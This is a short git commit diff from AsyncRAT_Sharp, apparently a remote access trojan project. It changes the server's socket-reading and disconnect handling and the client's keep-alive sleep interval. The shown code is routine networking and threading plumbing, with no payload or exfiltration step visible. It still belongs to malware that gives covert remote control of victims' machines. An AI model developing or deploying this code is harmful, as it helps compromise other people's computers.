This commit is contained in:
NYAN CAT 2019-01-24 02:55:53 -08:00
parent 63afbfc91f
commit 7dc1a4c8ff
3 changed files with 36 additions and 34 deletions

View File

@ -39,14 +39,17 @@ namespace AsyncRAT_Sharp.Sockets
public async void ReadClientData(IAsyncResult ar)
{
try
{
if (!client.Connected)
{
Disconnected();
}
else
{
int Recevied = client.EndReceive(ar);
if (Recevied > 0)
{
if (BufferRecevied == false)
{
if (Buffer[0] == 0)
@ -70,7 +73,6 @@ namespace AsyncRAT_Sharp.Sockets
await MS.WriteAsync(Buffer, 0, Recevied);
if (MS.Length == Buffersize)
{
Read?.BeginInvoke(this, MS.ToArray(), null, null);
Buffer = new byte[1];
Buffersize = 0;
@ -79,12 +81,13 @@ namespace AsyncRAT_Sharp.Sockets
MS = new MemoryStream();
}
}
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
else
{
Disconnected();
}
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
}
catch
{
@ -96,7 +99,7 @@ namespace AsyncRAT_Sharp.Sockets
public void Disconnected()
{
if (Program.form1.listView1.InvokeRequired)
Program.form1.listView1.Invoke(new _isDisconnected(Disconnected));
Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected));
else
{
LV.Remove();

View File

@ -23,7 +23,7 @@ namespace Client
InitializeClient();
while (true)
{
Thread.Sleep(1000);
Thread.Sleep(1500);
}
}
@ -143,7 +143,6 @@ namespace Client
}
break;
}
}
public static void BeginSend(byte[] Msgs)